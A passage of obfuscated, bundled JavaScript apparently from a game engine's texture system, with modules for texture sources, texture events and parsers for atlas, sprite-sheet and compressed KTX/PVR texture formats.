window['hasOwnProperty']('HTMLVideoElement') && _0x1ec8c2 instanceof HTMLVideoElement, this['isRenderTexture'] = 'RenderTexture' === _0x1ec8c2['type'] || 'DynamicTexture' === _0x1ec8c2['type'], this['isGLTexture'] = _0x1ec8c2 instanceof _0x5cb0b1, this['isPowerOf2'] = _0x166210(this['width'], this['height']), this['glTexture'] = null, this['flipY'] = _0x2a7dab, this['init'](_0x2559d9); }, 'init': function (_0x49c240) { var _0x34b1b6 = this['renderer']; if (_0x34b1b6) { var _0x33c686 = this['source']; if (_0x34b1b6['gl']) { var _0x1d26e4 = this['image'], _0x443c2e = this['flipY'], _0x1fcd6f = this['width'], _0x4e861a = this['height'], _0x4fe220 = this['scaleMode']; this['isCanvas'] ? this['glTexture'] = _0x34b1b6['createCanvasTexture'](_0x1d26e4, !0x1, _0x443c2e) : this['isVideo'] ? this['glTexture'] = _0x34b1b6['createVideoTexture'](_0x1d26e4, !0x1, _0x443c2e) : this['isRenderTexture'] ? this['glTexture'] = _0x34b1b6['createTextureFromSource'](null, _0x1fcd6f, _0x4e861a, _0x4fe220) : this['isGLTexture'] ? this['glTexture'] = _0x33c686 : this['compressionAlgorithm'] ? this['glTexture'] = _0x34b1b6['createTextureFromSource'](_0x33c686, void 0x0, void 0x0, _0x4fe220) : _0x33c686 instanceof Uint8Array ? this['glTexture'] = _0x34b1b6['createUint8ArrayTexture'](_0x33c686, _0x1fcd6f, _0x4e861a, _0x4fe220) : this['glTexture'] = _0x34b1b6['createTextureFromSource'](_0x1d26e4, _0x1fcd6f, _0x4e861a, _0x4fe220); } else this['isRenderTexture'] && (this['image'] = _0x33c686['canvas']); } _0x49c240['config']['antialias'] || this['setFilter'](0x1); }, 'setFilter': function (_0xd0ee47) { this['renderer'] && this['renderer']['gl'] && this['renderer']['setTextureFilter'](this['glTexture'], _0xd0ee47), this['scaleMode'] = _0xd0ee47; }, 'setFlipY': function (_0x2e3b4d) { return void 0x0 === _0x2e3b4d && (_0x2e3b4d = !0x0), _0x2e3b4d === this['flipY'] || (this['flipY'] = _0x2e3b4d, this['update']()), this; }, 'update': function () { var _0x415528 = this['renderer'], _0x594c85 = this['image'], _0x72c531 = this['flipY'], _0x1e26e8 = _0x415528['gl']; _0x1e26e8 && this['isCanvas'] ? _0x415528['updateCanvasTexture'](_0x594c85, this['glTexture'], _0x72c531) : _0x1e26e8 && this['isVideo'] && _0x415528['updateVideoTexture'](_0x594c85, this['glTexture'], _0x72c531); }, 'destroy': function () { this['glTexture'] && this['renderer']['deleteTexture'](this['glTexture']), this['isCanvas'] && _0x3efa52['remove'](this['image']), this['renderer'] = null, this['texture'] = null, this['source'] = null, this['image'] = null, this['glTexture'] = null; } }); _0x5c3a36['exports'] = _0x1ca0d7; }, 0x4cd9: _0x3158f3 => { _0x3158f3['exports'] = { 'LINEAR': 0x0, 'NEAREST': 0x1 }; }, 0xadfa: _0x1b8ba4 => { _0x1b8ba4['exports'] = 'addtexture'; }, 0xf7fe: _0x3ed21b => { _0x3ed21b['exports'] = 'addtexture-'; }, 0x17283: _0x324326 => { _0x324326['exports'] = 'onerror'; }, 0x71ab: _0x5a6645 => { _0x5a6645['exports'] = 'onload'; }, 0x21e6: _0x5ec340 => { _0x5ec340['exports'] = 'ready'; }, 0x1518f: _0x305461 => { _0x305461['exports'] = 'removetexture'; }, 0x789f: _0x4a7980 => { _0x4a7980['exports'] = 'removetexture-'; }, 0x10f42: (_0x5863ed, _0x28c907, _0x519a32) => { _0x5863ed['exports'] = { 'ADD': _0x519a32(0xadfa), 'ADD_KEY': _0x519a32(0xf7fe), 'ERROR': _0x519a32(0x17283), 'LOAD': _0x519a32(0x71ab), 'READY': _0x519a32(0x21e6), 'REMOVE': _0x519a32(0x1518f), 'REMOVE_KEY': _0x519a32(0x789f) }; }, 0x6b42: (_0x3e7f21, _0x32ff00, _0x5cfb) => { var _0x42b811 = _0x5cfb(0x135bb), _0xf447df = _0x5cfb(0x4cd9), _0x238c04 = { 'CanvasTexture': _0x5cfb(0xe026), 'DynamicTexture': _0x5cfb(0x13da8), 'Events': _0x5cfb(0x10f42), 'FilterMode': _0xf447df, 'Frame': _0x5cfb(0x10e7), 'Parsers': _0x5cfb(0xef7d), 'Texture': _0x5cfb(0x13585), 'TextureManager': _0x5cfb(0x42ea), 'TextureSource': _0x5cfb(0x2e64) }; _0x238c04 = _0x42b811(!0x1, _0x238c04, _0xf447df), _0x3e7f21['exports'] = _0x238c04; }, 0x15f31: _0x1b8319 => { _0x1b8319['exports'] = function (_0x2ecb63, _0x12b339, _0x307d65) { if (_0x307d65['getElementsByTagName']('TextureAtlas')) { var _0x1202cb = _0x2ecb63['source'][_0x12b339]; _0x2ecb63['add']('__BASE', _0x12b339, 0x0, 0x0, _0x1202cb['width'], _0x1202cb['height']); for (var _0x33548a, _0x25fafb = _0x307d65['getElementsByTagName']('SubTexture'), _0x3b25bb = 0x0; _0x3b25bb < _0x25fafb['length']; _0x3b25bb++) { var _0x30aa16 = _0x25fafb[_0x3b25bb]['attributes'], _0x3ac93a = _0x30aa16['name']['value'], _0xd9ea82 = parseInt(_0x30aa16['x']['value'], 0xa), _0x2990ae = parseInt(_0x30aa16['y']['value'], 0xa), _0x445a9e = parseInt(_0x30aa16['width']['value'], 0xa), _0x38cb5a = parseInt(_0x30aa16['height']['value'], 0xa); if (_0x33548a = _0x2ecb63['add'](_0x3ac93a, _0x12b339, _0xd9ea82, _0x2990ae, _0x445a9e, _0x38cb5a), _0x30aa16['frameX']) { var _0x58b35f = Math['abs'](parseInt(_0x30aa16['frameX']['value'], 0xa)), _0x40213e = Math['abs'](parseInt(_0x30aa16['frameY']['value'], 0xa)), _0x355c74 = parseInt(_0x30aa16['frameWidth']['value'], 0xa), _0x25dd77 = parseInt(_0x30aa16['frameHeight']['value'], 0xa); _0x33548a['setTrim'](_0x445a9e, _0x38cb5a, _0x58b35f, _0x40213e, _0x355c74, _0x25dd77); } } return _0x2ecb63; } }; }, 0x11cbd: _0x1fe0d6 => { _0x1fe0d6['exports'] = function (_0x25be2f, _0x3e1503) { var _0xee4e7f = _0x25be2f['source'][_0x3e1503]; return _0x25be2f['add']('__BASE', _0x3e1503, 0x0, 0x0, _0xee4e7f['width'], _0xee4e7f['height']), _0x25be2f; }; }, 0x12e0: _0xbf979d => { _0xbf979d['exports'] = function (_0xa21a51, _0x328e18) { var _0x994eff = _0xa21a51['source'][_0x328e18]; return _0xa21a51['add']('__BASE', _0x328e18, 0x0, 0x0, _0x994eff['width'], _0x994eff['height']), _0xa21a51; }; }, 0x132e6: (_0x4c5fd9, _0x1a6690, _0x2a4857) => { var _0x5227a9 = _0x2a4857(0xa33a); _0x4c5fd9['exports'] = function (_0x34db5d, _0x3c94e6, _0x5d443b) { if (_0x5d443b['frames'] || _0x5d443b['textures']) { var _0x28aad1 = _0x34db5d['source'][_0x3c94e6]; _0x34db5d['add']('__BASE', _0x3c94e6, 0x0, 0x0, _0x28aad1['width'], _0x28aad1['height']); for (var _0x571596, _0x12dffc = Array['isArray'](_0x5d443b['textures']) ? _0x5d443b['textures'][_0x3c94e6]['frames'] : _0x5d443b['frames'], _0x283a65 = 0x0; _0x283a65 < _0x12dffc['length']; _0x283a65++) { var _0x112e96 = _0x12dffc[_0x283a65]; if (_0x571596 = _0x34db5d['add'](_0x112e96['filename'], _0x3c94e6, _0x112e96['frame']['x'], _0x112e96['frame']['y'], _0x112e96['frame']['w'], _0x112e96['frame']['h'])) { _0x112e96['trimmed'] && _0x571596['setTrim'](_0x112e96['sourceSize']['w'], _0x112e96['sourceSize']['h'], _0x112e96['spriteSourceSize']['x'], _0x112e96['spriteSourceSize']['y'], _0x112e96['spriteSourceSize']['w'], _0x112e96['spriteSourceSize']['h']), _0x112e96['rotated'] && (_0x571596['rotated'] = !0x0, _0x571596['updateUVsInverted']()); var _0x455398 = _0x112e96['anchor'] || _0x112e96['pivot']; _0x455398 && (_0x571596['customPivot'] = !0x0, _0x571596['pivotX'] = _0x455398['x'], _0x571596['pivotY'] = _0x455398['y']), _0x112e96['scale9Borders'] && _0x571596['setScale9'](_0x112e96['scale9Borders']['x'], _0x112e96['scale9Borders']['y'], _0x112e96['scale9Borders']['w'], _0x112e96['scale9Borders']['h']), _0x571596['customData'] = _0x5227a9(_0x112e96); } } for (var _0x445886 in _0x5d443b) 'frames' !== _0x445886 && (Array['isArray'](_0x5d443b[_0x445886]) ? _0x34db5d['customData'][_0x445886] = _0x5d443b[_0x445886]['slice'](0x0) : _0x34db5d['customData'][_0x445886] = _0x5d443b[_0x445886]); return _0x34db5d; } }; }, 0x9b1f: (_0x2a4a0b, _0x145970, _0x3b68d4) => { var _0x27cc09 = _0x3b68d4(0xa33a); _0x2a4a0b['exports'] = function (_0x3c6cf3, _0x76acdf, _0x40898f) { if (_0x40898f['frames']) { var _0x508756 = _0x3c6cf3['source'][_0x76acdf]; _0x3c6cf3['add']('__BASE', _0x76acdf, 0x0, 0x0, _0x508756['width'], _0x508756['height']); var _0x1d1fdc, _0x35a59b = _0x40898f['frames']; for (var _0x2baebc in _0x35a59b) if (_0x35a59b['hasOwnProperty'](_0x2baebc)) { var _0x2c6206 = _0x35a59b[_0x2baebc]; if (_0x1d1fdc = _0x3c6cf3['add'](_0x2baebc, _0x76acdf, _0x2c6206['frame']['x'], _0x2c6206['frame']['y'], _0x2c6206['frame']['w'], _0x2c6206['frame']['h'])) { _0x2c6206['trimmed'] && _0x1d1fdc['setTrim'](_0x2c6206['sourceSize']['w'], _0x2c6206['sourceSize']['h'], _0x2c6206['spriteSourceSize']['x'], _0x2c6206['spriteSourceSize']['y'], _0x2c6206['spriteSourceSize']['w'], _0x2c6206['spriteSourceSize']['h']), _0x2c6206['rotated'] && (_0x1d1fdc['rotated'] = !0x0, _0x1d1fdc['updateUVsInverted']()); var _0x36f173 = _0x2c6206['anchor'] || _0x2c6206['pivot']; _0x36f173 && (_0x1d1fdc['customPivot'] = !0x0, _0x1d1fdc['pivotX'] = _0x36f173['x'], _0x1d1fdc['pivotY'] = _0x36f173['y']), _0x2c6206['scale9Borders'] && _0x1d1fdc['setScale9'](_0x2c6206['scale9Borders']['x'], _0x2c6206['scale9Borders']['y'], _0x2c6206['scale9Borders']['w'], _0x2c6206['scale9Borders']['h']), _0x1d1fdc['customData'] = _0x27cc09(_0x2c6206); } } for (var _0xfbf9e4 in _0x40898f) 'frames' !== _0xfbf9e4 && (Array['isArray'](_0x40898f[_0xfbf9e4]) ? _0x3c6cf3['customData'][_0xfbf9e4] = _0x40898f[_0xfbf9e4]['slice'](0x0) : _0x3c6cf3['customData'][_0xfbf9e4] = _0x40898f[_0xfbf9e4]); return _0x3c6cf3; } }; }, 0x7aab: _0x289970 => { _0x289970['exports'] = function (_0x110ddc) { var _0x423895, _0xc186b0 = [0xab, 0x4b, 0x54, 0x58, 0x20, 0x31, 0x31, 0xbb, 0xd, 0xa, 0x1a, 0xa], _0x4eabcb = new Uint8Array(_0x110ddc, 0x0, 0xc); for (_0x423895 = 0x0; _0x423895 < _0x4eabcb['length']; _0x423895++)if (_0x4eabcb[_0x423895] !== _0xc186b0[_0x423895]) return; var _0x5a85a8 = Uint32Array['BYTES_PER_ELEMENT'], _0x2a50d6 = new DataView(_0x110ddc, 0xc, 0xd * _0x5a85a8), _0x4ef580 = 0x4030201 === _0x2a50d6['getUint32'](0x0, !0x0); if (0x0 === _0x2a50d6['getUint32'](0x1 * _0x5a85a8, _0x4ef580)) { var _0x18e232 = _0x2a50d6['getUint32'](0x4 * _0x5a85a8, _0x4ef580), _0x452f3b = _0x2a50d6['getUint32'](0x6 * _0x5a85a8, _0x4ef580), _0x1e49ce = _0x2a50d6['getUint32'](0x7 * _0x5a85a8, _0x4ef580), _0x2e4be1 = Math['max'](0x1, _0x2a50d6['getUint32'](0xb * _0x5a85a8, _0x4ef580)), _0x31f900 = _0x2a50d6['getUint32'](0xc * _0x5a85a8, _0x4ef580), _0x32a535 = new Array(_0x2e4be1), _0x3fe1e6 = 0x40 + _0x31f900, _0x2d0b88 = _0x452f3b, _0x488e15 = _0x1e49ce; for (_0x423895 = 0x0; _0x423895 < _0x2e4be1; _0x423895++) { var _0x1654f0 = new Int32Array(_0x110ddc, _0x3fe1e6, 0x1)[0x0]; _0x3fe1e6 += 0x4, _0x32a535[_0x423895] = { 'data': new Uint8Array(_0x110ddc, _0x3fe1e6, _0x1654f0), 'width': _0x2d0b88, 'height': _0x488e15 }, _0x2d0b88 = Math['max'](0x1, _0x2d0b88 >> 0x1), _0x488e15 = Math['max'](0x1, _0x488e15 >> 0x1), _0x3fe1e6 += _0x1654f0; } return { 'mipmaps': _0x32a535, 'width': _0x452f3b, 'height': _0x1e49ce, 'internalFormat': _0x18e232, 'compressed': !0x0, 'generateMipmap': !0x1 }; } }; }, 0x14076: _0x3cfe60 => { function _0x2fd0c8(_0x2ad449, _0x4e9fe6, _0x407bee, _0x15f2a9, _0x1a939c, _0x2410e1, _0xe1b13f) { return void 0x0 === _0xe1b13f && (_0xe1b13f = 0x10), Math['floor']((_0x2ad449 + _0x407bee) / _0x1a939c) * Math['floor']((_0x4e9fe6 + _0x15f2a9) / _0x2410e1) * _0xe1b13f; } function _0x292ebf(_0x2cac78, _0x284f82) { return (_0x2cac78 = Math['max'](_0x2cac78, 0x10)) * (_0x284f82 = Math['max'](_0x284f82, 0x8)) / 0x4; } function _0x588703(_0x3cd1a0, _0x3591f6) { return (_0x3cd1a0 = Math['max'](_0x3cd1a0, 0x8)) * (_0x3591f6 = Math['max'](_0x3591f6, 0x8)) / 0x2; } function _0x59c43f(_0x4e7e9a, _0x3503c6) { return Math['ceil'](_0x4e7e9a / 0x4) * Math['ceil'](_0x3503c6 / 0x4) * 0x10; } function _0x128c9b(_0x58eb69, _0x592bd5) { return _0x2fd0c8(_0x58eb69, _0x592bd5, 0x3, 0x3, 0x4, 0x4, 0x8); } function _0x581098(_0x4b1c18, _0x369199) { return _0x2fd0c8(_0x4b1c18, _0x369199, 0x3, 0x3, 0x4, 0x4); } var _0x5ecb8e = { 0x0: { 'sizeFunc': _0x292ebf, 'glFormat': [0x8c01] }, 0x1: { 'sizeFunc': _0x292ebf, 'glFormat': [0x8c03] }, 0x2: { 'sizeFunc': _0x588703, 'glFormat': [0x8c00] }, 0x3: { 'sizeFunc': _0x588703, 'glFormat': [0x8c02] }, 0x6: { 'sizeFunc': _0x128c9b, 'glFormat': [0x8d64] }, 0x7: { 'sizeFunc': _0x128c9b, 'glFormat': [0x83f0, 0x8c4c] }, 0x8: { 'sizeFunc': _0x581098, 'glFormat': [0x83f1, 0x8c4d] }, 0x9: { 'sizeFunc': _0x581098, 'glFormat': [0x83f2, 0x8c4e] }, 0xb: { 'sizeFunc': _0x581098, 'glFormat': [0x83f3, 0x8c4f] }, 0xe: { 'sizeFunc': _0x59c43f, 'glFormat': [0x8e8e, 0x8e8f] }, 0xf: { 'sizeFunc': _0x59c43f, 'glFormat': [0x8e8c, 0x8e8d] }, 0x16: { 'sizeFunc': _0x128c9b, 'glFormat': [0x9274, 0x9275] }, 0x17: { 'sizeFunc': _0x581098, 'glFormat': [0x9278, 0x9279] }, 0x18: { 'sizeFunc': _0x128c9b, 'glFormat': [0x9276, 0x9277] }, 0x19: { 'sizeFunc': _0x128c9b, 'glFormat': [0x9270] }, 0x1a: { 'sizeFunc': _0x581098, 'glFormat': [0x9272] }, 0x1b: { 'sizeFunc': _0x581098, 'glFormat': [0x93b0, 0x93d0] }, 0x1c: { 'sizeFunc': function (_0x37d466, _0x26f2bf) { return _0x2fd0c8(_0x37d466, _0x26f2bf, 0x4, 0x3, 0x5, 0x4); }, 'glFormat': [0x93b1, 0x93d1] }, 0x1d: { 'sizeFunc': function (_0xe08703, _0x1dc026) { return _0x2fd0c8(_0xe08703, _0x1dc026, 0x4, 0x4, 0x5, 0x5); }, 'glFormat': [0x93b2, 0x93d2] }, 0x1e: { 'sizeFunc': function (_0x166637, _0x48267d) { return _0x2fd0c8(_0x166637, _0x48267d, 0x5, 0x4, 0x6, 0x5); }, 'glFormat': [0x93b3, 0x93d3] }, 0x1f: { 'sizeFunc': function (_0x4deaf8, _0x4fc44d) { return _0x2fd0c8(_0x4deaf8, _0x4fc44d, 0x5, 0x5, 0x6, 0x6); }, 'glFormat': [0x93b4, 0x93d4] }, 0x20: { 'sizeFunc': function (_0x153a6c, _0x27e1b7) { return _0x2fd0c8(_0x153a6c, _0x27e1b7, 0x7, 0x4, 0x8, 0x5); }, 'glFormat': [0x93b5, 0x93d5] }, 0x21: { 'sizeFunc': function (_0x24ab90, _0x38cfc7) { return _0x2fd0c8(_0x24ab90, _0x38cfc7, 0x7, 0x5, 0x8, 0x6); }, 'glFormat': [0x93b6, 0x93d6] }, 0x22: { 'sizeFunc': function (_0x3bb414, _0x1fbd74) { return _0x2fd0c8(_0x3bb414, _0x1fbd74, 0x7, 0x7, 0x8, 0x8); }, 'glFormat': [0x93b7, 0x93d7] }, 0x23: { 'sizeFunc': function (_0x4e44c2, _0x575abc) { return _0x2fd0c8(_0x4e44c2, _0x575abc, 0x9, 0x4, 0xa, 0x5); }, 'glFormat': [0x93b8, 0x93d8] }, 0x24: { 'sizeFunc': function (_0x39e142, _0x550409) { return _0x2fd0c8(_0x39e142, _0x550409, 0x9, 0x5, 0xa, 0x6); }, 'glFormat': [0x93b9, 0x93d9] }, 0x25: { 'sizeFunc': function (_0x130d6d, _0x42daa4) { return _0x2fd0c8(_0x130d6d, _0x42daa4, 0x9, 0x7, 0xa, 0x8); }, 'glFormat': [0x93ba, 0x93da] }, 0x26: { 'sizeFunc': function (_0x5ae8a2, _0x76e0ba) { return _0x2fd0c8(_0x5ae8a2, _0x76e0ba, 0x9, 0x9, 0xa, 0xa); }, 'glFormat': [0x93bb, 0x93db] }, 0x27: { 'sizeFunc': function (_0x3f3879, _0x4c7f02) { return _0x2fd0c8(_0x3f3879, _0x4c7f02, 0xb, 0x9, 0xc, 0xa); }, 'glFormat': [0x93bc, 0x93dc] }, 0x28: { 'sizeFunc': function (_0x4b2cbf, _0x127cd0) { return _0x2fd0c8(_0x4b2cbf, _0x127cd0, 0xb, 0xb, 0xc, 0xc); }, 'glFormat': [0x93bd, 0x93dd] } }; _0x3cfe60['exports'] = function (_0x3c912d) { for (var _0x392fe1 = new Uint32Array(_0x3c912d, 0x0, 0xd), _0x3dbd14 = 0x3525650 === _0x392fe1[0x0] ? _0x392fe1[0x2] : _0x392fe1[0x3], _0x56db56 = _0x392fe1[0x4], _0x3a7e72 = _0x5ecb8e[_0x3dbd14]['glFormat'][_0x56db56], _0x422c2d = _0x5ecb8e[_0x3dbd14]['sizeFunc'], _0x2e3135 = _0x392fe1[0xb], _0x3382ad = _0x392fe1[0x7], _0x2e9a23 = _0x392fe1[0x6], _0x26ea0d = 0x34 + _0x392fe1[0xc], _0x5e0e78 = new Uint8Array(_0x3c912d, _0x26ea0d), _0x1f1d8d = new Array(_0x2e3135), _0x2d9044 = 0x0, _0x243224 = _0x3382ad, _0x254788 = _0x2e9a23, _0x2ad212 = 0x0; _0x2ad212 < _0x2e3135; _0x2ad212++) { var _0x5decd1 = _0x422c2d(_0x243224, _0x254788); _0x1f1d8d[_0x2ad212] = { 'data': new Uint8Array(_0x5e0e78['buffer'], _0x5e0e78['byteOffset'] + _0x2d9044, _0x5decd1), 'width': _0x243224, 'height': _0x254788 }, _0x243224 = Math['max'](0x1, _0x243224 >> 0x1), _0x254788 = Math['max'](0x1, _0x254788 >> 0x1), _0x2d9044 += _0x5decd1; } return { 'mipmaps': _0x1f1d8d, 'width': _0x3382ad, 'height': _0x2e9a23, 'internalFormat': _0x3a7e72, 'compressed': !0x0, 'generateMipmap': !0x1 }; }; }, 0x1271d: (_0x3912e1, _0x1070aa, _0xef452a) => { var _0x48ff9e = _0xef452a(0x17534); _0x3912e1['exports'] = function (_0x114fd3, _0x5bab0f, _0x4ec2c5, _0x1075be, _0x54fe23, _0x384bf0, _0xe6a8b3) { var _0x166912 = _0x48ff9e(_0xe6a8b3, 'frameWidth', null), _0x1618c6 = _0x48ff9e(_0xe6a8b3, 'frameHeight', _0x166912); if (null === _0x166912) throw new Error('TextureManager.SpriteSheet:\x20Invalid\x20frameWidth\x20given.'); var _0x229b62 = _0x114fd3['source'][_0x5bab0f]; _0x114fd3['add']('__BASE', _0x5bab0f, 0x0, 0x0, _0x229b62['width'], _0x229b62['height']); var _0x4756e1 = _0x48ff9e(_0xe6a8b3, 'startFrame', 0x0), _0x63a1e6 = _0x48ff9e(_0xe6a8b3, 'endFrame', -0x1), _0x53d3c6 = _0x48ff9e(_0xe6a8b3, 'margin', 0x0), _0x4a12dd = _0x48ff9e(_0xe6a8b3, 'spacing', 0x0), _0x4a5649 = Math['floor']((_0x54fe23 - _0x53d3c6 + _0x4a12dd) / (_0x166912 + _0x4a12dd)) * Math['floor']((_0x384bf0 - _0x53d3c6 + _0x4a12dd) / (_0x1618c6 + _0x4a12dd)); (_0x4756e1 > _0x4a5649 || _0x4756e1 < -_0x4a5649) && (_0x4756e1 = 0x0), _0x4756e1 < 0x0 && (_0x4756e1 = _0x4a5649 + _0x4756e1), (-0x1 === _0x63a1e6 || _0x63a1e6 > _0x4a5649 || _0x63a1e6 < _0x4756e1) && (_0x63a1e6 = _0x4a5649); for (var _0xb9fe87 = _0x53d3c6, _0x4b5e81 = _0x53d3c6, _0x3fd7c3 = 0x0, _0x57cf3a = 0x0, _0x55d208 = 0x0, _0xea394b = 0x0; _0xea394b < _0x4a5649; _0xea394b++) { _0x3fd7c3 = 0x0, _0x57cf3a = 0x0; var _0x3f82ff = _0xb9fe87 + _0x166912, _0x3df86a = _0x4b5e81 + _0x1618c6; _0x3f82ff > _0x54fe23 && (_0x3fd7c3 = _0x3f82ff - _0x54fe23), _0x3df86a > _0x384bf0 && (_0x57cf3a = _0x3df86a - _0x384bf0), _0xea394b >= _0x4756e1 && _0xea394b <= _0x63a1e6 && (_0x114fd3['add'](_0x55d208, _0x5bab0f, _0x4ec2c5 + _0xb9fe87, _0x1075be + _0x4b5e81, _0x166912 - _0x3fd7c3, _0x1618c6 - _0x57cf3a), _0x55d208++), (_0xb9fe87 += _0x166912 + _0x4a12dd) + _0x166912 > _0x54fe23 && (_0xb9fe87 = _0x53d3c6, _0x4b5e81 += _0x1618c6 + _0x4a12dd); } return _0x114fd3; }; }, 0xb9ae: (_0x1b83b0, _0xe5f7ff, _0x4ebfa6) => { var _0x2a7bf8 = _0x4ebfa6(0x17534); _0x1b83b0['exports'] = function (_0x31904f, _0x533a3d, _0x3453a9) { var _0x42ec73 = _0x2a7bf8(_0x3453a9, 'frameWidth', null), _0x28d460 = _0x2a7bf8(_0x3453a9, 'frameHeight', _0x42ec73); if (!_0x42ec73) throw new Error('TextureManager.SpriteSheetFromAtlas:\x20Invalid\x20frameWidth\x20given.'); var _0x65ad6c = _0x31904f['source'][0x0]; _0x31904f['add']('__BASE', 0x0, 0x0, 0x0, _0x65ad6c['width'], _0x65ad6c['height']); var _0x116c49, _0x29de56 = _0x2a7bf8(_0x3453a9, 'startFrame', 0x0), _0x310590 = _0x2a7bf8(_0x3453a9, 'endFrame', -0x1), _0x5850ed = _0x2a7bf8(_0x3453a9, 'margin', 0x0), _0x1eebe = _0x2a7bf8(_0x3453a9, 'spacing', 0x0), _0x4c3c3a = _0x533a3d['cutX'], _0x920c41 = _0x533a3d['cutY'], _0x398fa1 = _0x533a3d['cutWidth'], _0x2f5d92 = _0x533a3d['cutHeight'], _0x1cd181 = _0x533a3d['realWidth'], _0x566cb3 = _0x533a3d['realHeight'], _0xb8cf79 = Math['floor']((_0x1cd181 - _0x5850ed + _0x1eebe) / (_0x42ec73 + _0x1eebe)), _0x310051 = Math['floor']((_0x566cb3 - _0x5850ed + _0x1eebe) / (_0x28d460 + _0x1eebe)), _0x56981d = _0xb8cf79 * _0x310051, _0x3a468c = _0x533a3d['x'], _0xca41fe = _0x42ec73 - _0x3a468c, _0x26769b = _0x42ec73 - (_0x1cd181 - _0x398fa1 - _0x3a468c), _0x32b07e = _0x533a3d['y'], _0x5948c7 = _0x28d460 - _0x32b07e, _0x4abd4e = _0x28d460 - (_0x566cb3 - _0x2f5d92 - _0x32b07e); (_0x29de56 > _0x56981d || _0x29de56 < -_0x56981d) && (_0x29de56 = 0x0), _0x29de56 < 0x0 && (_0x29de56 = _0x56981d + _0x29de56), -0x1 !== _0x310590 && (_0x56981d = _0x29de56 + (_0x310590 + 0x1)); for (var _0x193f80 = _0x5850ed, _0x196a25 = _0x5850ed, _0x5e1eb5 = 0x0, _0x4cd9e1 = 0x0; _0x4cd9e1 < _0x310051; _0x4cd9e1++) { for (var _0x41d36f = 0x0 === _0x4cd9e1, _0x2a913c = _0x4cd9e1 === _0x310051 - 0x1, _0x4e5246 = 0x0; _0x4e5246 < _0xb8cf79; _0x4e5246++) { var _0xa4cd40 = 0x0 === _0x4e5246, _0x46104d = _0x4e5246 === _0xb8cf79 - 0x1; if (_0x116c49 = _0x31904f['add'](_0x5e1eb5, 0x0, _0x4c3c3a + _0x193f80, _0x920c41 + _0x196a25, _0x42ec73, _0x28d460), _0xa4cd40 || _0x41d36f || _0x46104d || _0x2a913c) { var _0x2558b8 = _0xa4cd40 ? _0x3a468c : 0x0, _0x4b1486 = _0x41d36f ? _0x32b07e : 0x0, _0x5c82e3 = 0x0, _0x1728b4 = 0x0; _0xa4cd40 && (_0x5c82e3 += _0x42ec73 - _0xca41fe), _0x46104d && (_0x5c82e3 += _0x42ec73 - _0x26769b), _0x41d36f && (_0x1728b4 += _0x28d460 - _0x5948c7), _0x2a913c && (_0x1728b4 += _0x28d460 - _0x4abd4e); var _0x295711 = _0x42ec73 - _0x5c82e3, _0x4a9c55 = _0x28d460 - _0x1728b4; _0x116c49['cutWidth'] = _0x295711, _0x116c49['cutHeight'] = _0x4a9c55, _0x116c49['setTrim'](_0x42ec73, _0x28d460, _0x2558b8, _0x4b1486, _0x295711, _0x4a9c55); } _0x193f80 += _0x1eebe, _0x193f80 += _0xa4cd40 ? _0xca41fe : _0x46104d ? _0x26769b : _0x42ec73, _0x5e1eb5++; } _0x193f80 = _0x5850ed, _0x196a25 += _0x1eebe, _0x196a25 += _0x41d36f ? _0x5948c7 : _0x2a913c ? _0x4abd4e : _0x28d460; } return _0x31904f; }; }, 0x15083: _0x5b7bc5 => { var _0x12214d = 0x0, _0x39b051 = function (_0x11c2af, _0x32edf0, _0xf62919, _0x55db40) { var _0x4621ec = _0x12214d - _0x55db40['y'] - _0x55db40['height']; _0x11c2af['add'](_0xf62919, _0x32edf0, _0x55db40['x'], _0x4621ec, _0x55db40['width'], _0x55db40['height']); }; _0x5b7bc5['exports'] = function (_0x435898, _0x339957, _0x23c489) { var _0x1722a6 = _0x435898['source'][_0x339957]; _0x435898['add']('__BASE', _0x339957, 0x0, 0x0, _0x1722a6['width'], _0x1722a6['height']), _0x12214d = _0x1722a6['height']; for (var _0x2845d9 = _0x23c489['split']('\x0a'), _0x4cf6a6 = /^[ ]*(- )*(\w+)+[: ]+(.*)/, _0x19e4fe = '', _0x251716 = '', _0x55d13a = { 'x': 0x0, 'y': 0x0, 'width': 0x0, 'height': 0x0 }, _0x415aaa = 0x0; _0x415aaa < _0x2845d9['length']; _0x415aaa++) { var _0x3438cd = _0x2845d9[_0x415aaa]['match'](_0x4cf6a6); if (_0x3438cd) { var _0x1af76b = '-\x20' === _0x3438cd[0x1], _0x1d89b3 = _0x3438cd[0x2], _0xe5552b = _0x3438cd[0x3]; if (_0x1af76b && (_0x251716 !== _0x19e4fe && (_0x39b051(_0x435898, _0x339957, _0x251716, _0x55d13a), _0x19e4fe = _0x251716), _0x55d13a = { 'x': 0x0, 'y': 0x0, 'width': 0x0, 'height': 0x0 }), 'name' !== _0x1d89b3) switch (_0x1d89b3) { case 'x': case 'y': case 'width': case 'height': _0x55d13a[_0x1d89b3] = parseInt(_0xe5552b, 0xa); } else _0x251716 = _0xe5552b; } } return _0x251716 !== _0x19e4fe && _0x39b051(_0x435898, _0x339957, _0x251716, _0x55d13a), _0x435898; }; }, 0xd7b6: (_0x827e15, _0x149d47, _0x365691) => { var _0x1fd35a = _0x365691(0xc36e); function _0x5f4d61(_0x1934b5) { for (var _0x379fc9 = _0x1934b5['mipmaps'], _0x3e30e4 = 0x0; _0x3e30e4 < _0x379fc9['length']; _0x3e30e4++) { var _0xd81808 = _0x379fc9[_0x3e30e4]['width'], _0x461418 = _0x379fc9[_0x3e30e4]['height']; if ((_0xd81808 << _0x3e30e4) % 0x4 != 0x0 || (_0x461418 << _0x3e30e4) % 0x4 != 0x0) return !0x1; } return !0x0; } function _0x55e764() { return !0x0; } function _0x3eb446(_0x605db2) { var _0x4d0678 = _0x605db2['mipmaps'][0x0]; return !!_0x1fd35a(_0x4d0678['width'], _0x4d0678['height']); } function _0x402e29(_0x182cc4) { var _0x2b052e = _0x182cc4['mipmaps'][0x0]; return _0x2b052e['width'] % 0x4 == 0x0 && _0x2b052e['height'] % 0x4 == 0x0; } var _0x2f8321 = { 0x9270: _0x55e764, 0x9271: _0x55e764, 0x9272: _0x55e764, 0x9273: _0x55e764, 0x9274: _0x55e764, 0x9275: _0x55e764, 0x9276: _0x55e764, 0x9277: _0x55e764, 0x9278: _0x55e764, 0x9279: _0x55e764, 0x8d64: _0x55e764, 0x93b0: _0x55e764, 0x93b1: _0x55e764, 0x93b2: _0x55e764, 0x93b3: _0x55e764, 0x93b4: _0x55e764, 0x93b5: _0x55e764, 0x93b6: _0x55e764, 0x93b7: _0x55e764, 0x93b8: _0x55e764, 0x93b9: _0x55e764, 0x93ba: _0x55e764, 0x93bb: _0x55e764, 0x93bc: 